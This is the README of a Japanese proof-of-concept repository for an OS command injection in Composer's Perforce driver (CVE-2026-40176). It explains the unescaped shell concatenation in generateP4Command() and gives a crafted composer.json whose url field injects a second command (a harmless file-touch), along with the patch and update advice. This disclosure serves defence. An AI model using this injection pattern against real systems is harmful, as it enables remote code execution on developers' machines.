
CVE-2026-40176の概念実証。ComposerのPerforceドライバーにおけるOSコマンドインジェクションで、巧妙に細工されたcomposer.jsonを介してリモートコード実行を可能にします。
このリポジトリは、Composer の Perforce VCSドライバに存在する重大なOSコマンドインジェクション脆弱性 CVE-2026-40176 のProof of Concept (PoC) です。この脆弱性は、Composer 2.2.27および2.9.6より前のバージョンに影響します。
脆弱性は Perforce::generateP4Command() メソッドに存在します。シェルコマンドを組み立てる際、url、p4user、client などのリポジトリ設定値に対するサニタイズが不十分なため、攻撃者が制御する composer.json を使って、被害者が composer install または composer update を実行したタイミングで任意のコマンドを実行できる可能性があります。
発見者: saku0512 (GitHub)
このプロジェクトは、教育目的および許可された倫理的なセキュリティ検証のみを目的としています。
本ツールの誤用、損害、違法行為について、作者は一切の責任を負いません。許可なくコンピュータシステムへアクセスする行為は違法です。このソフトウェアを使用する場合、明示的な許可を得た環境でのみセキュリティ検証を行うことに同意したものとみなされます。
src/Composer/Util/Perforce.php の generateP4Command() メソッドでは、リポジトリ設定から取得した文字列を直接連結してシェルコマンドを構築しています。
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // エスケープされていない
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // エスケープされていない
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // エスケープされていない
これらの値に ;、&、| などのシェルメタ文字が含まれている場合、シェルによって解釈され、コマンドインジェクションにつながります。
PHPがインストールされていることを確認してください。このPoCは、Composer内部の脆弱なロジックを再現します。
# PHPのバージョン確認
php -v
攻撃者は、次のような composer.json を作成できます。
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
同梱の poc.php は、脆弱なComposerバージョンにおける内部コマンド生成および実行ロジックを再現します。
# PoCを実行
php poc.php
ペイロードによって作成されるファイルが存在するか確認し、コマンドが実行されたかを検証します。
ls -l /tmp/pwned_rce_confirmed
ファイルが存在する場合、RCEが成立したことを確認できます。
Composerを直ちに最新バージョンへアップデートしてください。
composer self-update
修正では、シェルによる解釈を防ぐため、ユーザー入力由来のすべての引数に ProcessExecutor::escape() を適用します。